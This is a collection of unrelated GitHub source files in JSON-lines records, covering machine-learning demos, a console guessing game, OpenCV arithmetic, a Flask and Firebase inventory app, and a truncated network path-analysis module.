plt\nimport pandas as pd\nimport numpy as np\n\nIMAGES_PATH=os.path.join(os.getcwd(),\"static/\")\nif not os.path.exists(IMAGES_PATH):\n os.makedirs(IMAGES_PATH)\n\ndef save_fig(fig_id, tight_layout=True, fig_extension=\"png\", resolution=300):\n path = os.path.join(IMAGES_PATH, fig_id + \".\" + fig_extension)\n print(\"Saving figure\", fig_id)\n if tight_layout:\n plt.tight_layout()\n plt.savefig(path, format=fig_extension, dpi=resolution)\n\n\ndef load():\n \"\"\"\n Loads the dataset\n \"\"\"\n # step 1: Load the data and include column headers\n data_file = os.path.join(os.getcwd(), \"data/cal_housing.txt\")\n dataframe_all = pd.read_csv(data_file, sep=\",\")\n # convert object type to float64\n dataframe_all = dataframe_all.convert_objects(convert_numeric=True)\n\n num_rows = dataframe_all.shape[0]\n\n # Calculate number of features. -1 because we are saving one as the target variable (Benign or malignant)\n n_features = dataframe_all.shape[1] - 1\n\n # Print the results\n print(\"Total number of cases: {}\".format(num_rows))\n print(\"Number of features: {}\".format(n_features))\n\n columns = dataframe_all.columns\n print(columns)\n\n # Divide by 1.5 to limit the number of income categories\n dataframe_all[\"income_cat\"] = np.ceil(dataframe_all[\"median_income\"] / 1.5)\n # Label those above 5 as 5\n dataframe_all[\"income_cat\"].where(dataframe_all[\"income_cat\"] < 5, 5.0, inplace=True)\n\n return dataframe_all","repo_name":"snknitin/CodeChallenge","sub_path":"Prediction_Continuous/shared_utils.py","file_name":"shared_utils.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70878498641","text":"import random\nimport art\nfrom game_data import data\nimport os\nimport time\n\nclear = lambda: os.system('cls')\n\ndef choose_a_person():\n '''Chooses a random index from data and returns it's respective dictionary with it's person's information'''\n person = random.choice(data); return person\n\nprint(art.logo)\n\ndef game():\n '''Main function where the game is in fact located'''\n first_person = choose_a_person()\n second_person = choose_a_person()\n player_points = 0\n followers_reference = None\n\n guessing_right = True\n \n while guessing_right:\n print(\"Who do you think has more followers on Instagram?\")\n print(f\"Current points: {player_points}\")\n print(f\"A -> {first_person['name']}, {first_person['description']} from {first_person['country']}\")\n print(art.versus)\n print(f\"B -> {second_person['name']}, {second_person['description']} from {second_person['country']}\")\n \n player_guess = input(\"Who has more followers? (A / B): \").lower()\n \n if player_guess == \"a\":\n player_guess = first_person['follower_count']\n followers_reference = second_person['follower_count']\n elif player_guess == \"b\":\n player_guess = second_person['follower_count']\n followers_reference = first_person['follower_count']\n else:\n print(\"You need to type 'A' or 'B'. Ending the game...\")\n time.sleep(2)\n clear()\n return\n\n if player_guess > followers_reference:\n time.sleep(0.2)\n clear()\n player_points += 1\n first_person = second_person\n second_person = choose_a_person()\n elif player_guess < followers_reference:\n guessing_right = False\n print(f\"Your acquired a total of {player_points} points!\")\n print(art.game_over)\n print(\"Ending the game...\")\n time.sleep(5)\n clear()\n \n play_again = input(\"Do you want to play again? (Y / N): \").lower()\n \n if play_again == \"y\":\n clear()\n game()\n else:\n clear()\n return\n \ngame()","repo_name":"Lhusckas/Higher_Lower_Game","sub_path":"higher_lower_game.py","file_name":"higher_lower_game.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"26081850593","text":"import cv2\nimport numpy as np\n\n\nx = np.uint8([250])\ny = np.uint8([50])\nres_opencv = cv2.add(x, y)\nprint(res_opencv) # [[255]]\nres_np = x + y # 8 bit int so 300 % 256 = 44\nprint(res_np)\n\n\n# Image Addition and Subtraction\nM = np.ones(image.shape, dtype='uint8') * 60\nadded_image = cv2.add(image, M)\nscalar = np.ones((1, 3), dtype='float') * 110\nadded_image = cv2.add(image, scalar)\n","repo_name":"damiansp/completePython","sub_path":"image_processing/open_cv4/07_image_arithmetic/saturation_arithmetic.py","file_name":"saturation_arithmetic.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3205127503","text":"# Bong Ju Kang\r\n# for random forest sample without missing imputation\r\n# 5/8/2019\r\n\r\n# 필요한 패키지\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\n# 결측값 제거: 다른 값으로 대체해도 좋지만 일단 제거\r\ntmp_dm_inputdf = dm_inputdf.dropna()\r\n\r\n#dm_inputdf['STATUS'].value_counts(dropna=False)\r\n#dm_inputdf['JOB'].value_counts(dropna=False)\r\n\r\n# 목표 변수 분포 확인\r\nprint(tmp_dm_inputdf[dm_dec_target].value_counts())\r\n# 0 5430\r\n# 1 2001\r\n\r\nbase_dist = tmp_dm_inputdf[dm_dec_target].value_counts()/tmp_dm_inputdf.shape[0]\r\nprint(base_dist)\r\n# 0 0.730268\r\n# 1 0.269732\r\n\r\n# 범주형 데이터를 숫자형 데이터로 전환\r\ndf_X_onehot = pd.get_dummies(tmp_dm_inputdf[dm_class_input], prefix_sep='_')\r\ndf_y_onehot = pd.get_dummies(tmp_dm_inputdf[dm_dec_target], drop_first=True)\r\n\r\n# 범주형 데이터와 숫자형 데이터 결합\r\ntrain_flag = (tmp_dm_inputdf[dm_partitionvar].values == dm_partition_train_val)\r\nX = np.c_[tmp_dm_inputdf[dm_interval_input].values, df_X_onehot.values]\r\ny = df_y_onehot.values.ravel()\r\n\r\n# 데이터 분할\r\nX_train = X[train_flag]\r\ny_train = y[train_flag]\r\nX_test = X[~train_flag]\r\ny_test = y[~train_flag]\r\n#X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3)\r\n\r\n# 모델 구성: 나무는 100개 사용하며, 분기 변수의 개수는 자동\r\nclf = RandomForestClassifier(random_state=123, n_estimators=100, min_samples_leaf=5,\r\n max_depth=20, n_jobs=-1)\r\nprint(clf)\r\n# RandomForestClassifier(bootstrap=True, class_weight=None, criterion='gini',\r\n# max_depth=20, max_features='auto', max_leaf_nodes=None,\r\n# min_impurity_split=1e-07, min_samples_leaf=5,\r\n# min_samples_split=2, min_weight_fraction_leaf=0.0,\r\n# n_estimators=100, n_jobs=-1, oob_score=False, random_state=123,\r\n# verbose=0, warm_start=False)\r\n\r\n# 모델 적합\r\nclf.fit(X_train, y_train)\r\n\r\n## 모델 평가: 정확도\r\n# 훈련 데이터\r\nprint('훈련데이터 정확도:', clf.score(X_train, y_train))\r\n# 평가 데이터\r\nprint('평가데이터 정확도:', clf.score(X_test, y_test))\r\n\r\n\r\n## SAS에서 지정한 형태로 출력물 정의\r\n## 범주형인 경우\r\ntmp = clf.predict_proba(X)\r\n\r\n# 목표변수의 ���일한 값별로 변수 구성\r\ntarget_values = sorted(tmp_dm_inputdf[dm_dec_target].unique())\r\ntarget_variables = [\"P_\"+dm_dec_target+str(x) for x in target_values]\r\n\r\n# 추정된 각 점수(확률)에 대한 값별 변수이름 지정\r\ndm_scoreddf = pd.DataFrame(tmp, columns=target_variables)\r\n\r\n# -----------------------------\r\n# 결측값 제거로 인하여 전체 데이터 구성(SAS의 요구사항)을 위하여 인덱스 복원\r\n#------------------------------\r\n# 스코어 데이터프레임에 인덱스 부여\r\ndm_scoreddf.index = tmp_dm_inputdf.index\r\n# 전체 데이터의 인덱스로 데이터 구성\r\ntmp = pd.merge(dm_inputdf, dm_scoreddf, left_index=True, right_index=True, how='outer')\r\ndm_scoreddf = tmp[dm_scoreddf.columns]","repo_name":"bong-ju-kang/sas-school","sub_path":"2019/0508/viya-python-random-forest-without-imputation.py","file_name":"viya-python-random-forest-without-imputation.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13224783007","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import linear_model\nimport sklearn.metrics as sm\nimport _pickle as pickle\nfrom sklearn.preprocessing import PolynomialFeatures\n\nfilename = \"data_singlevar.txt\"\nX = []\nY = []\n\nwith open(filename, 'r') as f:\n\tfor line in f.readlines():\n\t\txt, yt = [float(i) for i in line.split(',')]\n\t\tX.append(xt)\n\t\tY.append(yt)\n\n#Divide Dataset into training and testing dataset\nnum_training = int(0.8 * len(X))\nnum_test = len(X) - num_training\n\n#Training data\nX_train = np.array(X[:num_training]).reshape((num_training, 1))\nY_train = np.array(Y[:num_training])\n\nprint(X_train)\nprint(Y_train)\n#Test data\nX_test = np.array(X[num_training:]).reshape((num_test, 1))\nY_test = np.array(Y[num_training:])\n\n#Training a model\nlinear_regressor = linear_model.LinearRegression()\nlinear_regressor.fit(X_train, Y_train)\n\nY_train_pred = linear_regressor.predict(X_train)\nplt.figure()\nplt.scatter(X_train, Y_train, color = 'green')\n\nplt.plot(X_train, Y_train_pred, color = 'red', linewidth = 2)\nplt.title(\"Training Data\")\nplt.show()\n\ny_test_pred = linear_regressor.predict(X_test)\n\nplt.scatter(X_test, Y_test, color='green')\nplt.plot(X_test, y_test_pred, color='red', linewidth=2)\nplt.title('Test data')\nplt.show()\n\n#Computing regression accuracy\nprint(\"\\nMean absolute error = \", round(sm.mean_absolute_error(Y_test, y_test_pred),2))\nprint(\"\\nMean squared error = \", round(sm.mean_squared_error(Y_test, y_test_pred),2))\nprint(\"\\nMedian absolute error = \", round(sm.median_absolute_error(Y_test, y_test_pred),2))\nprint(\"\\nExplained variance score = \", round(sm.explained_variance_score(Y_test, y_test_pred),2))\nprint(\"\\nR2 score = \", round(sm.r2_score(Y_test, y_test_pred),2))\n\n#Saving a model \noutput_model_file = 'saved_model.pkl'\n\nwith open(output_model_file, 'wb') as f:\n\tpickle.dump(linear_regressor, f)\n\n#Load a model\nwith open(output_model_file, 'rb') as f:\n\tmodel_linregr = pickle.load(f)\n\n#Here, we just loaded the regressor from the file into the model_linregr variable.\n#You can compare the preceding result with the earlier result to confirm that it's\n#the same.\ny_test_pred_new = model_linregr.predict(X_test)\nprint(\"\\nNew mean absolute error = \", round(sm.mean_absolute_error(Y_test, y_test_pred_new),2))\n\n#Ridge Regressor\n# As alpha gets closer to 0, the ridge\n#regressor tends to become more like a linear regressor with ordinary least squares.\n#So, if you want to make it robust against outliers, you need to assign a higher value\n#to alpha.\nridge_regressor = linear_model.Ridge(alpha = 0.01, fit_intercept = True, max_iter = 10000)\n\nridge_regressor.fit(X_train, Y_train)\ny_test_pred_ridge = ridge_regressor.predict(X_test)\nprint(\"\\nMean absolute error = \", round(sm.mean_absolute_error(Y_test, y_test_pred_ridge),2))\nprint(\"\\nMean squared error = \", round(sm.mean_squared_error(Y_test, y_test_pred_ridge),2))\nprint(\"\\nMedian absolute error = \", round(sm.median_absolute_error(Y_test, y_test_pred_ridge),2))\nprint(\"\\nExplained variance score = \", round(sm.explained_variance_score(Y_test, y_test_pred_ridge),2))\nprint(\"\\nR2 score = \", round(sm.r2_score(Y_test, y_test_pred_ridge),2))\n\n#Building a polynomial regressor\n\npolynomial = PolynomialFeatures(degree = 3)\n\n#Represent the datapoints in terms of the coefficients of the polynomial\nX_train_transformed = polynomial.fit_transform(X_train)\n\n\nprint(X_train_transformed)\nprint(X_train)","repo_name":"AjdinBajric/MachineLearning","sub_path":"Regression/LinearRegressor.py","file_name":"LinearRegressor.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27316401972","text":"import numpy as np\nimport pandas as pd\nimport pathlib\nfrom numpy import random\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import f1_score\nimport sys\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport os\nfrom collections import OrderedDict\nimport argparse\nfrom imblearn.under_sampling import RandomUnderSampler\nfrom tqdm import tqdm\nfrom joblib import load\nfrom FileFeatureReader.featurereaders import RFEFeatureReader\nfrom FileFeatureReader.featurereader import FeatureReader\nfrom utils import majority_mean, plot_heatmap, saveresults, str2bool\n\nif __name__ == '__main__':\n random.seed(42)\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\", \"--trainpath\", type=str, default=\"train/\", help=\"Relative path where there are the model and the .txt file for training\")\n parser.add_argument(\"-t\", \"--testpath\", type=str, default=\"test/\", help=\"Relative path in which there are the test files\")\n parser.add_argument(\"-r\", \"--savepath\", type=str, default=\"results/\", help=\"Relative path in which to store the results\")\n parser.add_argument(\"-s\", \"--sampling\", type=str, default=\"majority\", help=\"Undersampling strategy for the random undersampler (for class balancing)\")\n parser.add_argument(\"-p\", \"--title\", type=str, default=\"F1-scores\", help=\"Title to give to the heatmap generated\")\n parser.add_argument(\"-a\", \"--annotation\", type=str2bool, nargs='?', const=True, default=True, help=\"Wether to annotate or not each cell of the heatmap\")\n args = parser.parse_args()\n\n here = pathlib.Path(__file__).parent #path of this script\n trainpath = here.joinpath(args.trainpath) #path in which there are the training files\n testpath = here.joinpath(args.testpath) #path in which there are the testing files\n resultspath = here.joinpath(args.savepath) #path of the results folder\n rfe_file = trainpath.joinpath(\"RFEFeat.txt\")\n\n rfe_feature_reader = FeatureReader(RFEFeatureReader(), rfe_file)\n\n #get features used for training\n featurelist = rfe_feature_reader.getFeats()\n #add the label to the previous list\n selectionlist = featurelist + ['label']\n\n if args.sampling == \"majority\":\n sampler = RandomUnderSampler(sampling_strategy=\"majority\", random_state=42)\n elif args.sampling == \"majority_mean\":\n sampler = RandomUnderSampler(sampling_strategy=majority_mean, random_state=42)\n else:\n print(\"Wrong sampling argument given\")\n exit(1)\n\n input_model = list(trainpath.glob('**/*.joblib'))[0] #retrieve .joblib trained model\n\n clf = load(input_model)\n\n keys = ['overall','healthy', 'memeater','memleak', 'membw', 'cpuoccupy','cachecopy','iometadata','iobandwidth']\n clsResults = OrderedDict()\n\n for file_entry in tqdm(list(testpath.iterdir())):\n if file_entry.is_file() and file_entry.suffix == '.csv':\n filepath = testpath.joinpath(file_entry.name)\n print(\"Testing on file \", file_entry.name)\n input_name = file_entry.name.split('.')[0]\n nodename = file_entry.name.split('_')[0].split('/')[-1]\n\n #get the dataframe considering only specific columns\n data = pd.read_csv(file_entry, usecols=selectionlist)\n X = data[featurelist].to_numpy()\n y = data['label']\n labels = np.unique(np.asarray(y))\n y = y.to_numpy()\n\n #class balancing by random undersampling\n X, y = sampler.fit_resample(X, y)\n\n pred = clf.predict(X)\n\n #list to store f1 values\n F = []\n\n print('- Classifier: %s' % clf.__class__.__name__)\n\n #calculate global overall F1-score with weighted average\n f1 = f1_score(y, pred, average = 'weighted')\n F.append(f1)\n print('Overall score: %f.'%f1)\n\n #calculate F1-score for each class\n test_all = f1_score(y, pred, average=None, labels=labels)\n F.extend(list(test_all))\n\n for i, f in enumerate(test_all):\n print('Fault: %d, F1: %f.'%(i,f))\n\n clsResults[nodename] = F.copy()\n\n #construct path for storing the result summary in txt\n resultOut = \"classification_results.csv\"\n result_path = resultspath.joinpath(resultOut)\n #construct path for saving png about classification performances\n measureType = \"classification_results_image.png\"\n result_image = resultspath.joinpath(measureType)\n\n saveresults(clsResults, keys, result_path)\n plot_heatmap(args.title, clsResults, keys, result_image, args.annotation)","repo_name":"DarthVi/hpcscripts","sub_path":"multinode/testModelOnMultipleNodes.py","file_name":"testModelOnMultipleNodes.py","file_ext":"py","file_size_in_byte":4573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38886245212","text":"#o(n) space and o(n) time complexity\n\ndef Sorted_Squared ():\n\n array = [-5,-2,-1,0,1,2,3]\n\n sortedArray = []\n\n for value in range(len(array)):\n\n array1 = array[value]* array[value]\n sortedArray.append(array1) \n\n return sortedArray\n\nmyArray = Sorted_Squared()\n\nprint(myArray)\n\n#The code above is an improvement of the one below in time and space complexity\n#The one below has a time complexity of O(n2) and space complexity of O(n)\n\n# def squaredArray(list):\n \n# # //Perform a bubble sort then square the output\n# for element in range(len(list)):\n# for value in range(element + 1,len(list)):\n# if abs(list[element]) > abs(list[value]):\n# temp = list[element]\n# list[element] = list[value]\n# list[value] = temp\n \n# for index in range(len(list)):\n# list[index] *= list[index]\n \n# return list\n \n# list = [-5,-2,-1,0,1,2,3]\n# sort = squaredArray(list)\n# print(sort)\n","repo_name":"Dbriane208/Data-Structures-and-Analysis-of-Algorithms","sub_path":"SortedSquaredArray.py","file_name":"SortedSquaredArray.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27668237665","text":"from fastai.vision import *\n\nimport parts\nimport utils\nfrom models import CSHead, Instructor\nfrom parts import upernet_data_pipeline\n\n\ndef get_model(root, tree, op):\n encoder_path, decoder_path = utils.upernet_ckpt(root)\n instructor = Instructor(tree)\n model = CSHead(instructor, tree, encoder_path, decoder_path, emb_op=op)\n return model, instructor\n\n\nops = {\n 'mul': torch.mul,\n 'add': torch.add,\n}\n\n\ndef main(args):\n broden_root = Path(args.root).resolve()\n tree = parts.ObjectTree.from_meta_folder(broden_root / 'meta')\n model, instructor = get_model(broden_root, tree, ops[args.op])\n db = upernet_data_pipeline(broden_root)\n\n metrics = partial(parts.BinaryBrodenMetrics, obj_tree=tree, thresh=0.75)\n clbks = [instructor]\n if not args.train_bn:\n clbks.append(utils.BnFreeze(model.fpn))\n learn = Learner(db, model, loss_func=instructor.loss, callbacks=clbks, callback_fns=metrics, train_bn=args.train_bn)\n learn.split((learn.model.td,))\n learn.freeze()\n\n utils.fit_and_log(learn, 'object-P.A', save=args.save, epochs=20, lr=1e-2, pct_start=args.pct_start)\n\n\nif __name__ == '__main__':\n parser = utils.basic_train_parser()\n parser.add_argument('--root', default='unifiedparsing/broden_dataset')\n parser.add_argument('--train_bn', action='store_true')\n parser.add_argument('--op', choices=('mul', 'add'), default='mul')\n main(parser.parse_args())\n","repo_name":"omriKramer/csPose","sub_path":"broden_scripts/cs_head.py","file_name":"cs_head.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30235269866","text":"#importamos flask al proyecto, render_template para cargar htmls\nfrom flask import Flask, render_template, url_for, redirect,request\nfrom wtforms import Form, StringField, TextField\nfrom wtforms.fields.html5 import EmailField\nfrom flask import request\nimport forms\nimport pyrebase\nimport firebase_admin\nfrom firebase_admin import credentials, auth\nfrom firebase_admin import db\nimport json\nimport requests\nfrom requests import Session\nfrom requests.exceptions import HTTPError\n\n\n\n\n\n\n\n#-------------------------------------------------INSTANCIAS-----------------------------------------------------------------------\n\n\n#instanciamos flask en app\napp = Flask(__name__)\n#Inicializamos la Base de Datos\nfirebaseConfig={\n \"apiKey\": \"AIzaSyDhw83XTyUu58dOB7M1pCbT5olzakeNUqE\",\n \"authDomain\": \"proyectois-47739.firebaseapp.com\",\n \"databaseURL\": \"https://proyectois-47739.firebaseio.com\",\n \"projectId\": \"proyectois-47739\",\n \"storageBucket\": \"proyectois-47739.appspot.com\",\n \"messagingSenderId\": \"677768606392\",\n \"appId\": \"1:677768606392:web:a1225eb634ab25f416ba4d\",\n \"measurementId\": \"G-BEMJ6TR440\"\n}\ncred = credentials.Certificate(\"firebase-sdk.json\")\nfirebase=pyrebase.initialize_app(firebaseConfig)\nau=firebase.auth()\ndb=firebase.database()\n\n\n\n\n#-------------------------------------------------GESTION DE USUARIO-----------------------------------------------------------------------\n\n\n#Login de la App\n@app.route('/',methods=['GET','POST'])\ndef login():\n #Guarda los datos ingresados en el Formulario\n comment_form=forms.CommentForm(request.form)\n if request.method=='POST':\n try:\n #autenticamos el usuario\n user=au.sign_in_with_email_and_password(comment_form.email.data,comment_form.password.data)\n print(\"Login Exitoso\") \n return redirect(url_for('main'))\n except:\n print(\"Correo o Contraseña invalido\")\n return render_template(\"login.html\",form=comment_form)\n\n@app.route('/agregarUsuario',methods=['GET','POST'])\ndef agregarUsuario():\n add_user=forms.CommentForm(request.form)\n if request.method=='POST':\n try:\n user=au.create_user_with_email_and_password(add_user.email.data,add_user.password.data)\n return redirect(url_for('gestionProductos'))\n except:\n return render_template(\"agregar-usuario.html\",form=add_user)\n return render_template(\"agregar-usuario.html\",form=add_user)\n\n@app.route('/reset',methods=['GET','POST'])\ndef reset():\n comment_form=forms.CommentForm(request.form)\n if request.method=='POST':\n try:\n #autenticamos el usuario\n print(comment_form.email.data)\n user=au.send_password_reset_email(comment_form.email.data)\n return redirect(url_for('login'))\n except:\n print(\"Correo o Contraseña invalido\")\n return render_template(\"recuperar-contraseña.html\",form=comment_form)\n\n\n\n#-------------------------------------------------GESTION DE PRODUCTO-----------------------------------------------------------------------\n\n\n@app.route('/gestionProductos',methods=['GET','POST'])\ndef gestionProductos():\n #Guarda los datos ingresados en el formulario\n gest_form=forms.GestionProducto(request.form)\n productos=db.get()\n if request.method=='POST':\n for item in productos.each():\n if gest_form.nombre.data==item.key():\n \n return render_template(\"busqueda.html\",prod=item.key(),db=db,data=productos)\n return render_template(\"gestion-productos.html\",data=productos,db=db,form=gest_form) \ndef validarcodigo(x):\n producto=db.get()\n for item in producto:\n if (db.child(item.key()).child(\"BCodigo\").get()).val()==x:\n x=x+1\n print(x)\n return validarcodigo(x)\n \n return x\n@app.route('/agregarProducto',methods=['GET','POST'])\ndef agregarProducto():\n #Guarda los datos ingresados en el formulario\n add_product=forms.AgregarProducto(request.form)\n \n #Ingresa los datos del formulario en la variable data\n if request.method=='POST':\n data={'ANombre':add_product.nombre.data,\n 'BCodigo':validarcodigo(add_product.codigo.data),\n 'CPrecio':add_product.precio.data,\n 'DCantidad':add_product.cantidad.data,\n 'EDia':add_product.dia_vencimiento.data,\n 'FMes':add_product.mes_vencimiento.data, \n 'GAño':add_product.ano_vencimiento.data, \n }\n #Inserta en la Base de Datos\n db.child(add_product.nombre.data).set(data)\n return render_template(\"agregar-producto.html\", form=add_product)\n return render_template(\"agregar-producto.html\",form=add_product) \n\n#crea otra ruta a otra pagina del sitio\n@app.route('/eliminar/')\ndef eliminar(id):\n db.child(id).remove()\n return redirect(url_for('gestionProductos'))\n\n@app.route('/editar/',methods=[\"GET\",\"POST\"])\ndef editar(id):\n productos=db.get()\n add_product=forms.AgregarProducto(request.form)\n #Ingresa los datos del formulario en la variable data\n if request.method=='POST':\n data={'ANombre':add_product.nombre.data,\n 'BCodigo':validarcodigo(add_product.codigo.data),\n 'CPrecio':add_product.precio.data,\n 'DCantidad':add_product.cantidad.data,\n 'EDia':add_product.dia_vencimiento.data,\n 'FMes':add_product.mes_vencimiento.data, \n 'GAño':add_product.ano_vencimiento.data, \n }\n #Inserta en la Base de Datos\n db.child(add_product.nombre.data).set(data)\n return redirect(url_for('gestionProductos'))\n\n return render_template(\"editar-producto.html\",form=add_product,id=id,db=db,data=productos)\n\n@app.route('/entrada/',methods=[\"GET\",\"POST\"])\n\ndef entrada(id):\n productos=db.get()\n add_product=forms.AgregarProducto(request.form)\n #Ingresa los datos del formulario en la variable data\n if request.method=='POST':\n cantidad1=float(db.child(id).child(\"DCantidad\").get().val())\n cantidad2=float(add_product.cantidad.data)\n nuevacantidad= cantidad1 + cantidad2\n data={'ANombre':add_product.nombre.data,\n 'BCodigo':add_product.codigo.data,\n 'CPrecio':add_product.precio.data,\n 'DCantidad':str(nuevacantidad),\n 'EDia':add_product.dia_vencimiento.data,\n 'FMes':add_product.mes_vencimiento.data, \n 'GAño':add_product.ano_vencimiento.data, \n }\n #Inserta en la Base de Datos\n db.child(add_product.nombre.data).set(data)\n return redirect(url_for('gestionProductos'))\n\n return render_template(\"control-entrada.html\",form=add_product,id=id,db=db,data=productos)\n@app.route('/salida/',methods=[\"GET\",\"POST\"])\ndef salida(id):\n productos=db.get()\n add_product=forms.AgregarProducto(request.form)\n #Ingresa los datos del formulario en la variable data\n if request.method=='POST':\n cantidad1=float(db.child(id).child(\"DCantidad\").get().val())\n cantidad2=float(add_product.cantidad.data)\n nuevacantidad= cantidad1 - cantidad2\n data={'ANombre':add_product.nombre.data,\n 'BCodigo':add_product.codigo.data,\n 'CPrecio':add_product.precio.data,\n 'DCantidad':str(nuevacantidad),\n 'EDia':add_product.dia_vencimiento.data,\n 'FMes':add_product.mes_vencimiento.data, \n 'GAño':add_product.ano_vencimiento.data, \n }\n #Inserta en la Base de Datos\n db.child(add_product.nombre.data).set(data)\n return redirect(url_for('gestionProductos'))\n\n return render_template(\"control-entrada.html\",form=add_product,id=id,db=db,data=productos)\n\n\n#----------------------------------------------------GESTIÓN OFERTAS-----------------------------------------------------------------\n@app.route('/gestionOferta')\ndef gestionOferta():\n return render_template(\"gestion-oferta.html\")\n\n\n@app.route('/agregarOferta',methods=['GET','POST'])\ndef agregarOferta():\n add_oferta = forms.AgregarOferta(request.form)\n if request.method == 'POST':\n db.child(add_oferta.nombre.data).update({'HOferta':add_oferta.oferta.data})\n return render_template(\"gestion-oferta.html\")\n return render_template(\"agregar-oferta.html\", form=add_oferta)\n\n\n\n@app.route('/modificarOferta',methods=['GET','POST'])\ndef modificarOferta():\n add_oferta = forms.AgregarOferta(request.form)\n if request.method == 'POST':\n db.child(add_oferta.nombre.data).update({'HOferta':add_oferta.oferta.data})\n return render_template(\"gestion-oferta.html\")\n return render_template(\"modificar-oferta.html\", form=add_oferta)\n\n\n\n@app.route('/eliminarOferta',methods=['GET','POST'])\ndef eliminarOferta():\n delete_oferta = forms.AgregarOferta(request.form)\n if request.method == 'POST':\n db.child(delete_oferta.nombre.data).child('HOferta').remove()\n return render_template(\"gestion-oferta.html\")\n return render_template(\"eliminar-oferta.html\", form=delete_oferta)\n\n#------------------------------------------------------------GESTION DE VENTA-----------------------------------------------------\n\n\n\n@app.route('/agregarElemento',methods=['GET','POST'])\ndef agregarElemento():\n add_product = forms.AgregarProducto(request.form)\n if request.method == 'POST':\n db.child(\"Compra\").update({add_product.nombre.data:add_product.cantidad.data})\n return render_template(\"menu-venta.html\", form=add_product,db=db.child(\"Compra\").get(),dab=db)\n return render_template(\"menu-venta.html\",form=add_product)\n\n@app.route('/procesar',methods=['GET','POST'])\ndef procesar():\n productos=db.child(\"Compra\").get()\n for item in productos.each():\n actualizar(item.key(),item.val())\n eliminar(\"Compra\")\n return redirect(url_for('gestionProductos'))\n\ndef actualizar(id,cantidad):\n #Ingresa los datos del formulario en la variable data\n cantidad1=float(db.child(id).child(\"DCantidad\").get().val())\n cantidad2=float(cantidad)\n nuevacantidad= cantidad1 - cantidad2\n #Inserta en la Base de Datos\n db.child(id).update({\"DCantidad\":str(nuevacantidad)})\n \n \n \n\n\n\n\n\n\n#validacion para crear un escucha y decile este es el.\n#dubug=True le dice al servidor que entre en modo de pruebas se reiniciara cada vez que cambie algo\n'''@app.route('/menuInventario')\ndef menuInventario():\n return render_template(\"menu-inventario.html\")\n'''\n@app.route('/main')\ndef main():\n return render_template(\"mainmenu.html\")\nif __name__ == '__main__':\n app.run(debug=True)\n\n","repo_name":"miguelcuadrado21/Proyecto-IS","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":10621,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29472466562","text":"#!/usr/bin/env python3\n\nimport argparse\nimport atexit\nfrom collections import Counter, ChainMap, defaultdict\nimport datetime\nimport functools\nimport hashlib\nimport ipaddress\nimport itertools\nimport logging\nimport random\nimport re\nimport sys\n\nimport ujson\n\nfrom tempest import sample_generation\n\nfrom boundary_search import boundary_search\nimport caida_routeviews\nimport persistent_lru\nimport prefix_to_as\nimport ripe_atlas\nimport serial\n\nASN_DELIM_RE = \",|_\"\nBAD_RESOLVE = \"*\"\n\nHORNET_HDR = (\"MSM_ID\", \"PROBE_ID\", \"T0\", \"T1\", \"T0_OBS\", \"T1_OBS\",\n \"#_ALL_PROBES\", \"#_ALL_PFX\", \"#_ALL_ADDR\",\n \"PCT_ALL_ADDR\", \"NUM_ALL_ASES\",\n \"#_VALID_PROBES\", \"#_VALID_PFX\", \"#_VALID_ADDR\",\n \"PCT_VALID_ADDR\", \"NUM_VALID_ASES\",\n \"#_PRV_PROBE\", \"#_PRV_PFX\", \"#_PRV_ADDR\",\n \"PCT_PRV_ADDR\", \"NUM_PRV_ASES\",\n \"#_ITC_PROBES\", \"#_ITC_PFX\", \"#_ITC_ADDR\",\n \"PCT_ITC_ADDR\", \"NUM_ITC_ASES\")\n\ndef all_known_probes(msm_id, datetimes):\n all_probes = list()\n\n for dt in datetimes:\n paths = probe_paths_cached(msm_id, dt)\n probes = [(k, dt) for k in paths.keys()]\n all_probes.extend(probes)\n\n return all_probes\n\ndef all_probes_with_valid_obs(msm_id, observation_fn, observation_valid_fn,\n datetimes):\n all_probes = list()\n\n for dt in datetimes:\n paths = probe_paths_cached(msm_id, dt)\n for probe, path in paths.items():\n if observation_valid_fn(observation_fn(path)):\n all_probes.append((probe, dt))\n\n return all_probes\n\ndef analysis_interval_points(start_datetime, end_datetime, tick_width, msm_id):\n assert(start_datetime <= end_datetime)\n interval = [start_datetime]\n\n next_dt = start_datetime + tick_width\n time_to_add = round_datetime_to_interval(next_dt, msm_id)\n\n while(time_to_add <= end_datetime):\n interval.append(time_to_add)\n next_dt = time_to_add + tick_width\n time_to_add = round_datetime_to_interval(next_dt, msm_id)\n\n return interval\n\ndef anonymity_set(msm_id, observation, observation_fn, observation_eq_fn, dt):\n paths = probe_paths_cached(msm_id, dt)\n\n anon_set = set()\n\n for probe, path in paths.items():\n if observation_eq_fn(observation_fn(path), observation):\n anon_set.add((probe, dt))\n\n return anon_set\n\ndef anonymity_set_wide(msm_id, observation, observation_fn, observation_eq_fn,\n datetimes):\n\n anon_set = set()\n\n for dt in 